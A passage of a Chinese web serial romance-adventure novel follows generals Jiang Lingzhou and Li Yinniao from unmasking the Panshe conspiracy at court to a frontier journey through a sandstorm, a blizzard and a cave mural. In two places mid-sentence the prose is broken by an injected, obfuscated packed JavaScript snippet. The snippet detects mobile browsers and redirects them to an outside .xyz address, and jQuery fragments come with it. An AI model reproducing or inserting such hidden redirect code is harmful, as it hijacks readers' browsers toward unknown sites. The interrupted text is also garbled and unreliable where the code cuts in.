江令舟看着黎音袅,心中暗道一声“好”。他呈上的物证,是实打实的罪行;而黎音袅这枚徽记,则将“盘蛇”的邪恶与图谋具象化,更能激起同仇敌忾之心。这女人,看似冲动,实则心思缜密,总能在关键时刻,给出最致命的一击。 黎音袅话音刚落,人群中突然爆发出一阵惊呼。 “中丞大人!中丞大人您怎么了?” 只见御史中丞张敬,那个前几日还在朝堂上引经据典、痛斥江令舟与黎音袅“滥用职权,扰乱朝纲”的老臣,此刻面如金纸,豆大的汗珠从额角滚落,身体摇摇欲坠。 “张大人!” “快,快扶住他!” “传太医!速传太医!” 张敬的嘴唇哆嗦着,想说什么,却一口气没上来,双眼一翻,直挺挺地向后倒去。咚的一声闷响,他摔倒在地,不省人事。 “这……这是怎么了?” “莫不是被吓到了?” “这张大人一向刚正不阿,怎会如此……” 混乱中,一枚小巧的物件从张敬宽大的袖袍中滑落,骨碌碌滚出几尺,停在了一名禁军的脚下。那禁军拾起,看了一眼,脸色骤变,立刻呈给江令舟。 江令舟接过一看,瞳孔骤然一缩。那是一枚断裂的蛇形玉佩,玉质温润,却透着一股邪气,断口处参差不齐,显然是新断不久。更重要的是,那蛇形雕刻的样式,与黎音袅手中那枚木质徽记,竟有七八分相似!只是玉佩更为精致,显然身份更高。 半枚玉佩!他试图销毁证据! 江令舟心中掀起惊涛骇浪。张敬!弹劾他与黎音袅最卖力的御史中丞,竟也是“盘蛇”的人?他的弹劾,是为了保护“盘蛇”,还是狗急跳墙?这一刻,无数念头在他脑中飞转。难怪陛下迟迟不肯动手,这水,果然深不见底! 他抬头看向龙椅上的皇帝,皇帝的脸色已经阴沉得能滴出水来。显然,他也看到了那枚玉佩。 “好一个刚正不阿的御史中丞!”皇帝的声音冷得像冰,“给朕拿下!严加拷问!朕要看看,他这张忠臣的皮囊之下,到底藏着怎样的蛇蝎心肠!” 两名如狼似虎的禁军立刻上前,将昏迷不醒的张敬拖了下去。大殿之内,一片死寂,落针可闻。先前那些替张敬说过话,或是与他交好的官员,此刻无不面如土色,生怕被牵连进去。 第116章鞭策 皇帝的目光扫过瑟瑟发抖的百官,最终停在江令舟身上:“江令舟听旨!” “臣在!” “朕命你即刻亲率羽林卫,查封礼部、户部所有库房、司所!所有案卷、账册、信函,一律清点造册,不得有误!若有阻拦或通风报信者,先斩后奏!” “礼部?户部?”江令舟心中一凛。陛下这是要将所有可能的线索都挖出来。这两个部门,一个掌管典仪教化,一个执掌国家财赋,若也被“盘蛇”渗透,后果不堪设想。 “臣,遵旨!”江令舟沉声应道。他知道,这道命令下去,朝中必将再次掀起一场巨大的震荡。但他更清楚,此刻绝不能手软。刮骨疗毒,纵然疼痛,也好过病入膏肓,无药可救。 “黎音袅,”皇帝又转向黎音袅,“你协同江令舟,负责审问捕获的‘盘蛇’余孽,务必撬开他们的嘴,给朕把所有藏在暗处的同党都揪出来!” “臣,遵旨!”黎音袅的眼中闪过一丝厉色。审讯,正是她擅长的。 江令舟不再停留,对着皇帝一揖,转身阔步走出金銮殿。殿外的阳光有些刺眼,他微微眯了眯眼。羽林卫早已集结待命,甲胄鲜明,刀枪林立。 “将军,去往何处?”副将上前请示。 江令舟翻身上马,冰冷的吐出四个字:“礼部,户部。” 马蹄声骤然而起。 三日后,午门之外,天色澄澈。 文武百官依品阶分列,鸦雀无声,气氛肃穆异常。那场金銮殿上的风波不过数日前,张敬被拖下去时那绝望的嘶吼,似乎还回荡在众人耳边。礼部与户部被查抄的动静,更是让不少人夜不安枕。 今日,皇帝亲临午门,已是极不寻常。 “陛下驾到——!”内侍尖细的嗓音划破寂静。 众人躬身,“恭迎陛下,吾皇万岁万岁万万岁!” 皇帝一身龙袍,面容沉肃,步履稳健地登上城楼。他的目光扫过下方,带着不怒自威的压迫。 “平身。”皇帝的声音透过晨风,清晰传到每个人耳中。 “谢陛下!” 江令舟与黎音袅并肩立于百官之前,身姿挺拔。三日的连轴查抄与审讯,并未让他们显露疲态,反而更添了几分凌厉。 皇帝的视线落在他们二人身上,语气中透出清晰的赞赏:“江令舟,黎音袅,上前听封!” “臣在!”二人齐声应答,迈步出列,行至丹陛之下。 一名太监展开明黄圣旨,朗声宣读,无非是褒奖二人破获“盘蛇”逆党,护驾有功,挽救危局云云。冗长的官样文章之后,真正的重点才来临。 皇帝亲自开口,声音洪亮:“卿等以雷霆之势,破‘盘蛇’妖氛,护我大楚京畿,功在社稷,利在千秋!朕心甚慰!” 他顿了顿,目光灼灼:“特赐‘护国大将军’金匾一方,以彰尔等不世之功!江令舟,授‘护国大将军’衔,黎音袅,同授此衔,为副!” 此言一出,百官之中顿时起了一阵极轻微的骚动。护国大将军!这等封号,已是武将的极致荣耀!更何况,黎音袅一介女子,竟也同授此衔,虽为副,也已是破天荒! 江令舟神色平静,上前一步,朗声道:“臣江令舟,谢陛下隆恩!定不辱使命,为国尽忠,万死不辞!” 黎音袅随之上前,声音却比往日多了一丝沙哑:“臣黎音袅,谢陛下天恩!粉身碎骨,在所不惜!” 她的话音不高,却带着一股难以言喻的重量。 两名内侍抬着一方巨大的金匾上前,匾额上,“护国安民”四个龙飞凤舞的大字,在阳光下金光灼灼,几乎晃花了人的眼。 皇帝道:“此匾,当悬于你二人新赐的将军府正门,昭示天下,亦警醒宵小!望尔等日后继续为国分忧,为民解难,勿负朕望,勿负苍生!” “臣等,遵旨!” 黎音袅望着那耀目的金匾,视线有一瞬间的恍惚。金光灿烂,何其荣耀。可她的思绪,却不由自主地飘回了永济渠畔。那里的水,曾被染成刺目的红,空气中弥漫的不是此刻的庄严肃穆,而是浓重的血腥与绝望的嘶喊。 她抬手,指尖不自觉地轻轻抚过右臂的衣袖。在那之下,一道狰狞的旧伤如同蛰伏的蜈蚣,即便隔着衣料,她仿佛也能感受到那凹凸不平的触感。那是她离死亡最近的一次,为了掩护江令舟,为了……所谓的“大局”。 护国安民。这四个字,是用多少人的鲜血换来的? “这江将军和长公主,当真是圣眷隆重啊!”人群中,有官员低声感叹,语气中不乏艳羡。 另一人则压低了声音:“何止隆重!你没听说吗?礼部和户部那几日查抄出来的东西,堆积如山!‘盘蛇’的根系,比咱们想的深多了!若非二位大人,这后果……” “嘘!慎言!张敬的下场还没看够吗?”旁边立刻有人出声制止,“陛下这是要彻底清扫朝堂,这‘护国大将军’,既是赏,也是鞭策啊!” “鞭策谁?警示谁?” “自然是那些心怀不轨之徒!” “我看,也是给某些人提个醒,莫要以为法不责众。” 议论声虽轻,却也逃不过江令舟的耳朵。他侧过脸,看了黎音袅一眼。她正望着那金匾出神,脸色有些苍白,眸中情绪翻涌,不似平日那般清冽。 “长公主?”江令舟低声唤了一句。 黎音袅猛地回神,眼中的迷茫迅速褪去,恢复了惯有的冷静。她对着江令舟微微颔首,示意自己无碍。 “臣等,谢陛下厚爱!”江令舟再次躬身。 皇帝微微颔首,脸上露出一丝满意的笑容:“好!朕等着你们更多的好消息。京城的安宁,朕就交给你们了。” “臣等必鞠躬尽瘁,死而后已!”二人齐声道。 内侍高唱:“礼成——!” 金匾被郑重地交到江令舟与黎音袅手中,沉甸甸的,不仅是分量,更是那份滔天的责任。 黎音袅的手指握紧了匾额的边缘,冰凉的金属触感让她纷乱的思绪稍稍平复。她瞥见江令舟沉稳的侧脸,他似乎永远都是这般泰山崩于前而色不变。 也许,这便是他们要走的路。用一肩担起荣耀,用另一肩担起血腥。 江令舟捧着金匾的一端,黎音袅捧着另一端。二人并肩而立,身后是百官或敬畏或探究的视线,身前是午门洞开,通往未知的将来。 “回府。”江令舟只说了两个字。 第117章准备去北疆 金匾的荣耀与沉重,似犹在指尖。自午门而出,回到新赐的将军府,遣散了府中仆役,喧嚣方褪。 江令舟褪去了那身压肩的“护国大将军”朝服,换上了一袭寻常的青色便袍。少了朝服的繁复与威严,他整个人瞧着添了几分寻常的温和,少了些许平日的铁血锐气。黎音袅看着他,恍惚间觉得,这才是他卸下一切重担时,本该有的模样。 “方才在殿前,你脸色不大好。”江令舟递过一杯清茶,声音平静,不带探究,只是陈述。 黎音袅接过茶盏,温热的触感驱散了些许残留的寒意。“无事,许是站得久了。”她轻描淡写,不愿多提永济渠畔的猩红与旧伤的隐痛。那些,是她的魔障,亦是她的勋章。 “那护国安民的匾额,明日便会悬上。”江令舟在她身侧坐下,目光投向窗外,那里是一片初秋的萧瑟,却也别有几分宁静。“‘盘蛇’一案,耗费了太多心神。” 黎音袅嗯了一声,心中了然。自“盘蛇”之乱起,二人几乎没有片刻安宁,神经时刻紧绷,如满弓之弦。即便如今尘埃暂定,那股无形的压力依旧盘旋在京城上空,也压在他们心头。 江令舟沉默片刻,忽道:“北疆入秋,景致应当不错。胡杨林,此时应是鎏金似火。”他转头,看向黎音袅,“我年少时,曾在那里戍边数载。” 黎音袅心中一动,抬眼望进他的眼底。那里没有了面对朝臣时的深不可测,只余一片坦然与淡淡的期盼。她忆起他曾提及的北疆风霜,那些金戈铁马的岁月,亦有他青春的印记。数月未得片刻安宁,她何尝不渴望一丝喘息。 她唇边泛起一抹浅淡的笑意:“也好,去看看你曾镇守的地方,看看那里的胡杨,是如何的鎏金似火。” 江令舟的眉眼间,不自觉地柔和了几分。他轻轻颔首:“明日,我便向陛上请旨,巡查北疆边防。”顿了顿,他又补充道,“携家眷,体察民情。” “体察民情?”黎音袅微微挑眉,这四个字从江令舟口中说出,总觉得不止字面那般简单。巡查边防是真,这“体察民情”,怕是给自己,也给她寻的一个暂离这风暴眼的机会。 江令舟没有直接回应她的疑问,只道:“北疆新附,民心、防务皆需稳固。亲眼看看,总比奏折上的文字来得真切。” 翌日,早朝之后,江令舟独自被宣至御书房。 黎音袅在府中等待,心中说不清是何滋味。既有对那片陌生土地的向往,亦有对这短暂宁静可能被打破的预感。 约莫一个时辰后,江令舟回来了。他神色如常,看不出喜怒。 “如何?”黎音袅迎上前。 “陛下准了。”江令舟的回答简短。 黎音袅松了口气,却又觉得事情似乎过于顺利。以皇帝的性子,江令舟新晋高位,又刚肃清“盘蛇”,正是需要他在京中坐镇之时,怎会轻易放他远行? “陛下……没有别的吩咐?”她追问。 江令舟看了她一眼,这才缓声道:“陛下说,北疆之地,近来有些驿报语焉不详,隐有异动。朕正忧心,你此去巡查边防,正好代朕详查一番。至于体察民情,亦是应有之义。”他停顿了一下,“陛下还说,长公主一同前往,甚好。” 黎音袅心中一凛。果然,事情没有那般简单。所谓的“体察民情”,所谓的“家眷”,都成了顺理成章的掩护。天子的恩准,从来不是凭空的。 “异动?是何异动?”黎音袅追问,心中的那份轻松荡然无存。 江令舟摇头:“陛下也未详说,只言是一些地方官吏的奏报,或言马匪滋扰,或言部族摩擦,看似寻常,却又透着些许不对。具体如何,需亲至彼处方能知晓。” 黎音袅蹙眉。马匪、部族,这些在边疆之地本是常事,能让皇帝都觉得“不对”,恐怕并非小事。这趟北疆之行,怕是名为巡查,实为暗访了。原本以为的片刻喘息,又添了未知的险途。 “陛下这是……名为放假,实则又交了差事。”黎音袅的语气有些无奈,却并无退缩之意。她早已习惯了这种在刀尖上寻求片刻安宁的日子。 江令舟伸手,轻轻握了握她的手腕,那里衣袖之下,是她旧伤所在。“北疆广阔,即便有些波折,总能寻到胡杨林。”他的声音不高,却带着安抚人心的力量。 黎音袅反手握住他的手指,那份冰凉的金属质感消失了,取而代之的是他掌心的温热。“我明白。”她轻声应道,“什么时候出发?” “三日后。”江令舟答,“府中事务,我会安排妥当。此行轻车简从,对外只称巡边,携你散心。” 黎音袅颔首。散心是真,任务也是真。这便是他们的宿命,荣耀与危机,总是如影随形。 她忽然想起一事:“今日在宫门外,吏部侍郎王大人似乎有话想与你说,你步履匆匆,他便没开口。” 江令舟眉峰微动:“王柬?他能有何事。”此人素来谨小慎微,却也有些趋炎附势之态。“盘蛇”案中,吏部亦有牵连,虽未至王柬,但他大约也是想来探探口风,或是……另有所图。 “许是想探问陛下对你我的真实态度吧。”黎音袅分析道,“毕竟‘护国大将军’与副将同领,前所未有。朝中盯着的人,可不少。” “无妨,让他们盯着。”江令舟松开手,“此去北疆,正好避开这些无谓的纷扰。有些眼睛,离得远了,也就看不清了。” 黎音袅看着他,这位新晋的护国大将军,心思依旧深沉。他选择北上,除了为她,为自己寻片刻安宁,恐怕也有暂避锋芒,冷眼旁观朝局的考量。 “那我即刻去准备行装。”黎音袅不再多言,转身便要离开。 “音袅,”江令舟唤住她。 她回头。 “北疆苦寒,多备些厚衣。”他嘱咐道,平常得如同寻常人家的叮咛。 黎音袅心中一暖,点了点头,快步离去。 第118章体察民情 十月北疆,风过处胡杨金黄,远映雪山皑皑。 烽燧台上,黎音袅拢了拢身上江令舟旧年所赠的狐裘,其毛色在朔风下依旧温润。她眺望着远方,塞外的天穹高远,却总带着几分肃杀。 江令舟站在她身侧,玄色披风被风吹得猎猎作响。他伸手指着脚下延伸出去、早已残破却依旧顽强蜿蜒的土石城墙:“当年楼兰精骑三次叩关,最凶险的一次,我便在此处督战。” 黎音袅侧首,听他继续说。 “箭如飞蝗。”他语调平缓,似在述说旁人旧事,“一枚流矢擦着耳际飞过,钉入后方旗杆,入木三分。若偏上分毫……” 他没有再说下去。黎音袅却懂了那未尽之语。沙场之上,生死不过一线。她问:“后来呢?” “后来,”江令舟唇边泛起极淡的笑意,“我们胜了。那支箭,连同射出它的主人,都留在了这片土地上。” 气氛有片刻的沉凝。北风呼啸,卷起残叶,似有金戈铁马之声回荡。 江令舟忽然转过身,从怀中取出一物,递到她面前。“这个,送你。” 黎音袅垂眸,一枚狼牙吊坠静静躺在他掌心。狼牙粗砺,泛着幽冷的白光,尖端锋锐,显是取自一头真正的悍狼。 “这是……”她迟疑着伸手接过。 “楼兰一役后的战利品。”江令舟道,“那日清扫战场,于一具楼兰百夫长尸身旁拾得。不算贵重,留作纪念罢了。今日,赠予你。” 吊坠入手冰凉,带着塞外的寒意。黎音袅细细摩挲着,指腹触到狼牙内侧,似乎有些微的凹凸不平。她凑近了些,在风沙迷离中,勉强辨认出那里竟刻着一个极细小的字。 一个“音”字。 她心中蓦地一震,抬首望向江令舟,他神色如常,仿佛那只是随意的一笔。可黎音袅清楚,这等细致的雕刻,绝非随意。 “你何时……”她声音有些干涩。战场之上,刀光剑影,他竟还有这般心思。 “偶有所感,闲暇时聊作消遣。”江令舟轻描淡写地带过,“算不得什么。” 黎音袅指尖攥紧了那枚狼牙。闲暇?她想象不出,在那般残酷的征战岁月里,他所谓的“闲暇”是何等模样。这枚狼牙,曾属于凶狠的敌人,饮过雪原的风霜,如今却系着她的名姓。 “这……太贵重了。”她轻声道。这并非指狼牙本身,而是其上承载的心意。 江令舟却道:“与你相称。” 黎音袅心中百感交集。她想问,为何是这个字?又想问,他刻下它时,在想些什么?然而话到唇边,却又咽了回去。有些情意,不必言说,已然明了。 “我很喜欢。”她最终只说了这句,将狼牙紧紧握在掌心,那份冰凉渐渐被她的体温所焐热。这冰凉与温热的交替,正如他们的处境,荣耀背后,总是险境。 她抬眼,望向他:“你那时候,可曾想过,今日我们会一同站在此处?” 江令舟迎上她的视线:“不曾。那时只想着,如何活下去,如何让更多的人活下去。”他顿了顿,“也曾想过,若有一日能卸甲归田,当寻一处有胡杨林的地方。” “如今胡杨林是有了,”黎音袅轻叹,“只是这甲胄,怕是轻易卸不下了。”她想起楚帝的嘱托,想起那些语焉不详的“异动”。 江令舟嗯了一声,正要说话,远处地平线上,一点黑影正朝着烽燧台的方向急驰而来,扬起一路烟尘。 “有人来了。”黎音袅率先察觉。 江令舟亦转头望去,眉头微蹙。来者单人独骑,速度极快,不似寻常牧民。 片刻之后,那骑士已至烽燧台下,翻身下马,动作矫健。是一名穿着边军斥候服饰的兵士,面色焦急。 “报——”兵士奔上烽燧台,单膝跪地,声音因急促而有些嘶哑,“启禀将军!黑风口驿站昨日深夜遇袭!驿丞及三名驿卒殉职,塘报被劫!” “什么?”黎音袅面色一变。黑风口驿站是北疆传递军情的重要节点之一。 江令舟神色骤然转冷:“可看清是何人所为?” “夜色太暗,驿站唯一的幸存者是个火头军,他躲在草料堆中逃过一劫,只说对方人不少,行动迅捷,不似寻常马匪,倒像是……训练有素的兵卒。”斥候喘着气禀报,“驿站被付之一炬,对方显然不欲留下任何活口。” 黎音袅心中一沉。训练有素?劫掠塘报?这绝非简单的“马匪滋扰”。 “可有其他线索?”江令舟追问。 “暂时没有。属下奉命查探周边,发现此地烽燧台有人,故此前来禀报。张统领已派人追查,并往大营送信。” 江令舟摆了摆手:“知道了,你先下去歇息。” “是!”斥候领命退下。 烽燧台上,一时间只余下风声。方才那点因狼牙吊坠而起的温情,此刻已被这突如其来的军情冲散得无影无踪。 “看来,我们此行的‘体察民情’,已经开始了。”黎音袅语气平静,那枚狼牙已被她悄然系好,贴身藏在衣襟之内。 “比预想的,要来得快些,也更直接。”江令舟道,“劫塘报,目标明确,手段狠辣。这北疆的‘异动’,怕是真的不简单。” 他转身,看向北面,那是黑风口驿站的方向。“陛下让我们详查,如今线索自己送上门了。” 黎音袅走到他身旁,与他并肩而立。“那伙人,若真是冲着军情去的,所图非小。”她分析道,“北疆的军情,能让他们如此大费周章,甚至不惜暴露行迹……” “他们或许认为,做得足够干净。”江令舟接话,“又或者,他们有恃无恐。” “你觉得,会是何人?”黎音袅问。部族摩擦?还是……更深层次的力量? 江令舟沉吟片刻:“现在下定论为时过早。不过,此事须立刻处置。黑风口失联,军情传递受阻,影响非小。” 他看向黎音袅:“音袅,看来我们的‘散心’,要暂时告一段落了。” 黎音袅颔首:“正合我意。比起赏景,我还是更习惯握刀。”她活动了一下手腕,那里曾有旧伤,如今早已痊愈,却在提醒她过往的每一次搏杀。 江令舟没再多言,只道:“走吧。” 两人一前一后,下了烽燧台。 第119章风沙 烽燧台上的示警并非虚招,未及半个时辰,一队军容严整的骑兵已出现在视野尽头,马蹄踏起漫天黄沙,直奔二人而来。为首一将,身形魁梧,面容黝黑,正是镇北军旧部、如今的宁远卫副将陈野。 “末将陈野,参见江将军,长公主!”马队在十步开外勒住,陈野翻身下马,动作利落,单膝跪地行礼,身后千骑亦齐刷刷下马跪倒,声势浩大。 江令舟虚扶一把:“陈将军不必多礼,起来吧。” “谢将军!”陈野起身,目光扫过江令舟,又在黎音袅身上略作停留,眼中闪过一丝探究,随即恢复了惯常的粗豪,“得知将军与长公主途经此地,末将已备下薄酒,为二位接风洗尘。” 黎音袅抱拳回礼:“有劳陈副将。”她对这些镇北军旧部素有好感,他们身上带着北疆特有的粗犷与忠诚。 江令舟问:“黑风口驿站之事,陈副将可知晓?” 陈野面色一肃:“末将正要禀报。驿站遇袭,塘报被劫,此事蹊跷。张统领已派快马往大营报信,并下令各部加强戒备。只是……对方手段干净利落,未留下太多线索。” “嗯。”江令舟颔首,“我们也是为此事而来。先进营说话。” 宁远卫的营地扎在背风处,规模颇大,旌旗猎猎。中军大帐内,陈野已命人设下宴席。因军情紧急,并未有太多繁文缛节,几案上摆放着大块的烤肉和马奶酒,充满了边塞的豪情。 入夜,篝火熊熊,将士们的影子被拉得老长,映在营帐之上。巡逻的兵士脚步声规律而沉稳。 陈野端起酒碗,碗口粗糙,却盛满了诚挚:“末将敬二位将军一杯!当年在镇北军时,常见江将军于军帐之中,夜深人静依旧捧卷研读,末将还曾暗自嘀咕,将军这般文绉绉的,哪像个领兵打仗的。”他嘿嘿一笑,带着几分憨厚,“如今想来,倒是末将眼拙了!定是那时便为了博佳人一笑,才如此勤勉吧?” 这话一出,帐内几个作陪的裨将都跟着哄笑起来,气氛顿时热烈了不少。 黎音袅正端着酒碗小酌,闻言,修长的手指微微一顿,她挑了挑眉,似笑非笑地望向身旁的江令舟。她倒想看看,这位素来沉稳的江将军,要如何应对这般直白的调侃。 江令舟端着酒碗的手几不可察地停滞了一瞬,平日里古井无波的脸上,竟也有些许不自然。他轻咳一声,试图掩饰什么,然而两抹不太明显的红晕,悄然爬上了耳尖,在跳跃的火光映照下,虽不显眼,却也足以让细心观察的黎音袅捕捉到。 “陈将军说笑了。”江令舟的声音听不出太多波澜,却比平日里略快了一拍,“军旅生涯枯燥,偶读兵书战策,不过是打发时间,亦是为将来绸缪罢了。” 他这番解释,听起来冠冕堂皇,滴水不漏。 陈野却不肯轻易放过,他咧嘴一笑,露出白牙:“哦?是吗?可末将记得,将军那时读的,似乎并非全是兵书啊。有几次,末将还瞥见一些……嗯,诗词歌赋之类的闲书呢?” “咳咳!”江令舟这次是真的被酒呛了一下,或是被话噎了一下。他放下酒碗,拿起布巾擦拭了一下唇角,动作间带着几分刻意的从容,只是那耳尖的红,似乎又深了几分。 黎音袅在一旁看得真切,心中不禁莞尔。她与江令舟相识多年,共事亦久,见惯了他运筹帷幄、决胜千里的模样,也见过他浴血沙场、冷硬如铁的一面,却鲜少见到他如此……窘迫,或者说,带着些少年气的赧然。这让她觉得有些新奇,也有些莫名的愉悦。 她端起酒碗,对陈野道:“陈副将,我倒觉得,江将军博览群书,触类旁通,方能有今日之成就。诗词歌赋,亦能陶冶情操,说不定,还能从中断悟出什么行军布阵的道理呢?”她这番话,明着是为江令舟解围,语气里却带着一丝若有若无的揶揄。 “长公主所言极是!是末将浅薄了!”陈野立刻顺着台阶下,他本意也只是活跃气氛,并非真心要让江令舟难堪,“末将自罚一碗!”说罢,仰头便将碗中酒一饮而尽。 江令舟抬眼看了黎音袅一眼,那眼神复杂难辨,似有感激,又似有无奈,还有一丝连他自己都未曾察觉的……纵容。 黎音袅回以一个不甚明显的微笑,眼底却闪烁着促狭的光芒。她忽然觉得,这位江大将军,似乎也并非总是那般高不可攀、不食人间烟火。 酒过三巡,菜过五味。帐外的风声渐渐大了起来,初时只是呜咽,如同哀怨的羌笛,渐渐地,风声转厉,夹杂着沙石敲打帐篷的噼啪声响,越来越密集。 “起风了。”一名裨将皱眉道,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582134|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风沙,来得有些急。” 话音未落,帐帘猛地被狂风掀开,一股强劲的气流裹挟着沙尘涌入,吹得篝火一阵剧烈摇晃,险些熄灭。桌案上的碗碟也被吹得叮当作响。 “不好!是沙暴!”陈野脸色一变,霍然起身,“快!加固营帐!所有将士,各就各位,注意警戒!” 军令一下,帐内众人皆起身响应。 几乎是在同时,江令舟已然行动。他没有丝毫犹豫,长臂一伸,便将离他最近的黎音袅揽过,用自己的身体将她护在了身后,挡住了大部分扑面而来的风沙。 他的动作极快,带着一种久经沙场的本能。 黎音袅只觉眼前一暗,随即一股熟悉而沉稳的气息将她包围。鼻尖萦绕着他身上淡淡的皂角与皮革混合的味道,以及一丝不易察觉的……墨香。他的手掌按在她的肩头,宽厚而有力,隔着几层衣料,那掌心的温度源源不断地传来,竟比帐内摇曳的篝火,还要炙热几分。 “别动。”江令舟的声音在她头顶响起,低沉而稳定,带着一种令人安心的力量。 黎音袅下意识地抓住了他胸前的衣襟,稳住身形。风沙迷眼,她微微眯起了眼睛,靠在他的背上。这一刻,外界的风声、人声、马嘶声,仿佛都隔了一层,变得有些遥远。她能清晰感受到的,只有他坚实的脊背,和他沉稳有力的心跳,咚,咚,咚,敲打在她的耳膜,也敲打在她的心上。 比起这突如其来的沙暴,似乎他掌心的温度,更让她心旌摇曳。 陈野已指挥着兵士们用早已备好的沙袋和木桩加固营帐,他回头看了一眼**令舟护在身后的黎音袅,眼中闪过一丝了然的笑意,随即又投入到紧张的防风工作中。 风沙愈发猛烈,天地间一片昏黄。 江令舟微微侧首,对黎音袅道:“帐内暂且安全,我去外面看看。” “我同你一起。”黎音袅立时道。 “不必,”江令舟语气不容置喙,“你在此处,沙暴来势凶猛,外面危险。” 黎音袅蹙眉,却也清楚此刻不是争执之时。 江令舟松开护着她的手,转身便要掀帘而出。 “将军!”陈野奔了过来,“风沙太大,您……” 江令舟摆手,已然踏出帐外。 第120章戈壁 自那夜沙暴之后,大军休整一日,便再度拔营北上。数日兼程,队伍已深入瀚海戈壁腹地,气候愈发酷寒。 戈壁的风雪,来得毫无预兆。 前一刻尚能望见天际一线残阳,下一瞬,铅灰色的云团便吞噬了天光,凛冽的寒风卷着鹅毛大雪呼啸而至,能见度迅速降至数尺之内。 “暴风雪!”队伍中有人高喊,声音被风撕扯得破碎。 马匹在深可及膝的雪中艰难跋涉,发出不安的嘶鸣。 江令舟面色凝重,一把勒住马缰,对身旁的陈野喝道:“传令!就地寻找掩蔽!快!” 黎音袅裹紧了身上的裘衣,雪片打在脸上,冰冷刺骨。她努力想在风雪中辨认方向,却只看到一片白茫茫的混沌。 “将军,此处前不着村后不着店,怕是……”一名斥候艰难地顶风回报。 江令舟环顾四周,雪势越来越大,再不止步,恐怕整支队伍都要迷失在这雪原之中。 他瞥见黎音袅冻得发白的脸颊,心中一紧。没有任何迟疑,他驱马靠近,在黎音袅反应过来之前,猿臂一展,已将她从马背上捞起,紧紧裹入自己宽大的玄黑披风之内。 “抓紧!”他的声音穿透风雪,带着不容分说的力道。 黎音袅猝不及防,整个人撞进一个坚实而温暖的怀抱。披风隔绝了大部分风雪,熟悉的气息再次将她包围,带着他特有的冷冽与沉稳。 “将军,我……” “闭嘴,节省体力。”江令舟打断她,双腿一夹马腹,座下骏马长嘶一声,奋力向前冲去。 他将她整个护在胸前,用自己的背脊抵挡着风雪的侵袭。雪沫几乎是横着抽打过来,砸在他的盔甲上噼啪作响。 黎音袅埋首在他怀中,只能听见耳边呼啸的风声,以及他有力的心跳,咚,咚,咚,在如此危急的境况下,竟奇异地让她感到一丝心安。 “将军,你看那边!”陈野的声音在风雪中传来,带着一丝急切。 江令舟循声望去,只见不远处的雪幕中,隐约显露出一片巨大的岩壁轮廓。 “是岩穴!过去!”他当机立断。 几人策马艰难地靠近,果然发现岩壁之下有一个向内凹陷的洞穴,洞口被积雪半掩,若非仔细观察,极易错过。 “快,清理洞口!”江令舟翻身下马,将黎音袅稳稳放下,随即拔出腰间长刀,开始劈砍洞口冻结的冰雪和垂落的冰棱。 士兵们也纷纷下马,七手八脚地清理起来。 黎音袅站在一旁,想帮忙,却**令舟一个眼神制止。 “你进去,里面或许能避风。”他的语气简短,却透着关切。 她点点头,不再坚持,当先躬身钻入洞穴。 洞内比想象中要深,也干燥许多,光线昏暗,但确实隔绝了外面的狂风暴雪。不多时,江令舟与陈野等人也陆续进入。 “陈野,派人守住洞口,注意风向。”江令舟吩咐道,“其他人,生火,检查马匹。” “是!” 士兵们很快用携带的引火物升起一堆篝火,噼啪燃烧的火焰驱散了洞内的寒意,也带来了光明。 黎音袅搓了搓冻僵的双手,靠近火堆。她抬眼打量这个临时的避难所,洞壁似乎是天然形成的,并不规整。 “这里居然有壁画?”一名眼尖的士兵突然出声。 众人闻言,皆举起火把凑近细看。 黎音袅也好奇地走了过去。在火光的映照下,斑驳的洞壁上,果然显露出一些色彩黯淡的线条。年代久远,许多地方已经模糊不清,但依稀可以辨认出是人物和走兽的形态。 她借着一名士兵递过来的火折子的光亮,仔细端详其中一幅。那壁画似乎描绘的是一场狩猎,风雪弥漫的背景下,有两人并肩而立,正引弓搭箭,对准不远处的一匹巨狼。 画中两人皆劲装结束,身姿矫健。前面那人身形高大,透着一股英武之气。而他身旁略微靠后一人,虽看不太真切面容,但从发髻和身形来看,应是一名女子。 黎音袅的呼吸微微一滞。 她下意识地低头看了看自己今日的装束——为了方便骑马,她也穿了一身相对利落的胡服,外面罩着裘衣。而壁画中那名女子的衣饰风格,虽然细节处有所不同,但整体样式,尤其是衣襟和袖口的纹样,竟与她今日所穿有七八分的相似! 这怎么可能? 她心中涌起一股莫名的震动,仿佛被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591437|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么东西轻轻拨动了一下心弦。 “这画……倒是奇特。”陈野在一旁啧啧称奇,“这等风雪狩猎图,倒是少见。” 江令舟也走了过来,他沉默地凝视着那幅壁画,深邃的眼眸在跳动的火光下晦暗不明。 黎音袅感觉到他的视线似乎在壁画与自己之间逡巡了一下。 片刻后,他忽然发出一声低笑,那笑声在安静的洞穴中显得格外清晰,不似平时的清冷,反而带着几分莫测的意味。 “看来,千年前便有人替我记下这段缘分。”他缓缓开口,声音比平日在军帐中低沉了数分,也柔和了数分。 黎音袅心头一跳,脸上有些发热,忙垂下眼睑,避开他的注视。她不明白他话中的深意,却本能地觉得这与自己有关。 “将军此言何意?”陈野不明所以,好奇地问。 江令舟却没有回答他,只是侧过头,看着黎音袅。洞外的风雪依旧呼啸,衬得洞内这片刻的宁静格外不同。火光映着他的侧脸,勾勒出坚毅的线条,也柔化了他平日的凌厉。 “音袅,”他唤她,声音比风雪还要低,却清晰地传入她的耳中,“待此事了结,我们……” 